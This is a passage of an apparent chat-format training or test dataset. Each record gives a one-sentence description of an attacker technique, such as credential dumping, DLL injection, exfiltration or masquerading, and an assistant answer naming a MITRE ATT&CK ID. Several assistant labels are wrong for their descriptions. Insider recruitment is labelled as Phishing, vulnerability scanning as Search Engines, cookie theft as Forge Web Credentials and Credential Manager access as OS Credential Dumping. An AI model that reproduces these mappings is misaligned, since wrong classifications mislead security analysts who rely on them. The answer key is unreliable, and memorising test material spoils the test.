                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software update includes a malicious installer package which, when run, launches a PowerShell script for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse serverless function logs to exfiltrate sensitive information without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a PDF containing a DDE command that launches a hidden PowerShell script on the victim’s machine through inter‑process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impersonate a trusted service account by creating a new user with the same name and privileges as \"Network Service\"."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code registers a new screensaver via the Control Panel, embedding a command that exfiltrates data when the screensaver starts."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain NTLM password hashes from compromised machines and reuse them to authenticate to remote services without needing the plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In an advanced obfuscation step, the attacker pads the compiled payload with a sequence of benign instructions that serve no purpose, leveraging Binary Padding to mask the real code."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exploits a misconfigured IAM policy to add a backdoor user to the AWS account through the API."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encode malicious instructions within IPv6 extension headers, allowing them to issue commands without using standard application protocols."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to download and mount a fake container image on a Linux host, allowing execution of arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the LoadLibrary mechanism to load a compromised PasswordFilter.dll from a remote share, intercepting authentication events and exfiltrating credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses DLL code injected into legitimate processes, with the malicious code kept only in RAM."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sends encrypted payloads to a remote web service using a POST request and discards any response, exemplifying one-way communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs PowerShell's New-Service cmdlet to establish persistence by deploying a malicious service that executes the payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a social engineering attack, the malicious file name starts with a Right-to-Left Override symbol, reversing the displayed text so the dangerous .js file is masked as a harmless image."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited an XSS vulnerability in a popular social media management tool to inject malicious scripts that exfiltrated users' Instagram session tokens."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers remove persistence artifacts such as autorun entries and service registrations from the system to hide their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known vulnerability in the SSH client’s X11 forwarding feature to capture the session display, enabling them to hijack the user’s SSH connection."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit against the device's TFTP service allowed the threat actor to retrieve the saved configuration file."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom Network Provider DLL and modifies the HKLM\\System\\CurrentControlSet\\Control\\NetworkProvider registry key to load it during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates installed kernel drivers by querying the Windows Registry key HKLM\\System\\CurrentControlSet\\Services."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes stolen credentials to a removable hard drive, which is then used to exfiltrate data when the drive is connected to an external system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised network infrastructure, the attacker serves a counterfeit bootloader over TFTP, allowing execution of arbitrary code in the pre‑OS environment."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a .NET utility to enumerate all installed Windows services and associated software components."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential security weaknesses in a network device through firmware analysis and vulnerability scanning."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool decodes a ROT13‑encoded string containing API keys before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a DDE handshake between a compromised PDF viewer and Notepad to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised workstation wrote copies of sensitive logs onto a USB‑C flash drive that an insider later concealed in their personal bag."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary hijacks a high‑traffic website and serves a malicious PDF that exploits a viewer vulnerability, resulting in a drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs object discovery in a cloud storage service to map out potential exfiltration targets."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised laptop was left unattended with a maliciously formatted SD card that harvested browser history when the card was inserted."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes insider threats, either by recruiting moles within an organization or by exploiting the trust placed in partners and third-party vendors to gain access to sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds anti-emulation checks by performing high-precision timing loops that reveal execution in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs PowerShell commands to pull trusted domain information from the AD DS configuration."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leverages a VMWare virtual machine instantiated on compromised endpoints to hide its malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool also adds a malicious root CA to the browser's trust store."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchases up‑to‑date vulnerability research and exploit code related to the target's proprietary operating system."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent script uses Emond to watch for process creation events and spawns a credential dumping tool when Explorer.exe starts."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script leverages the SetupAPI to enumerate device driver INF files present on the system."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the /etc/passwd file to point a user’s shell to a setuid binary, achieving root execution."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used the \"podman exec\" command to run a ransomware payload in a vulnerable container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the DACL of a Windows System32 executable to add a deny rule for Windows Defender, preventing detection."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses reflective PE injection to modify the runtime configuration of a service."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a credential‑dumping tool to pull stored passwords from the Linux GNOME Keyring."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into visiting a malicious page that silently copies their web cookies and sends them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file-less attack script obtains function pointers for NtAllocateVirtualMemory via dynamic resolution to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By requesting the metadata endpoint, the intruder obtains the instance's IAM role and uses it to access cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes malicious code to the resource fork of a legitimate macOS binary, allowing the payload to execute without altering the main file data."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the Group Policy Management Console to inject a malicious PowerShell script into the Logon policy."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses TLS callbacks to inject a malicious module into a living process, evading detection by leveraging thread local storage."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain compromise, the adversary modifies the authentication script used by Azure AD Connect, allowing the injection of unauthorized user accounts into the hybrid identity system."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing service account keys from a configuration file, the adversary logged into the cloud management console to create new privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Excel .xltx template containing a hidden VBA macro is distributed via email, and the macro runs automatically when the template is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group leverages SSH jump hosts to hop between internal networks and gather intellectual property."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor registers a temporary service that triggers a scheduled task to run with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchases several domain names from a registrar and sets up DNS records to later use for phishing and command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a custom script that accesses the Windows Credential Manager API to retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query Azure Resource Manager templates stored in a storage account to extract subscription and resource configuration details."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses Mavinject to stealthily inject malicious modules into the Windows Update Orchestrator process for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collects PDF documents from the Downloads directory for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors search LinkedIn profiles to collect information about target organization staff, their roles, and contact details."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the Windows utility cmstp.exe to install a malicious INF file, enabling execution of payloads via the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs ARP requests and passive network sniffing to collect IP addresses and hostnames of the victim network."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses the Windows Verclsid binary as a proxy, configuring a malicious DLL as the handler for its COM class to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scheduled task, the threat actor periodically wipes files that could indicate compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Sysinternals PsShutdown tool to shut down all workstations in the domain."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves modifying the router's ROMMON to persist malicious code across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors assemble a multi‑stage malware chain, starting with a downloader that fetches a ransomware payload from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gathers browser history, cookies, and saved passwords from the compromised machine's local storage."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a malicious payload onto a removable drive, which is then used to spread the infection to other isolated machines."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deletes DHCP lease files and clears the Windows Event Log to hide their network activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a malicious binary by creating and starting a new Windows service using sc.exe."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group abuses SSH authorized_keys to gain persistent access across Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed a Trojan that mimicked the legitimate \"explorer.exe\" process, using the same icon and executable name."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a self‑destruct routine that uninstalls the implant and wipes out any scheduled tasks, services, and auto‑run registry entries."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs ‘netstat -ano’ to display active network connections and associated process IDs."
            },
            {
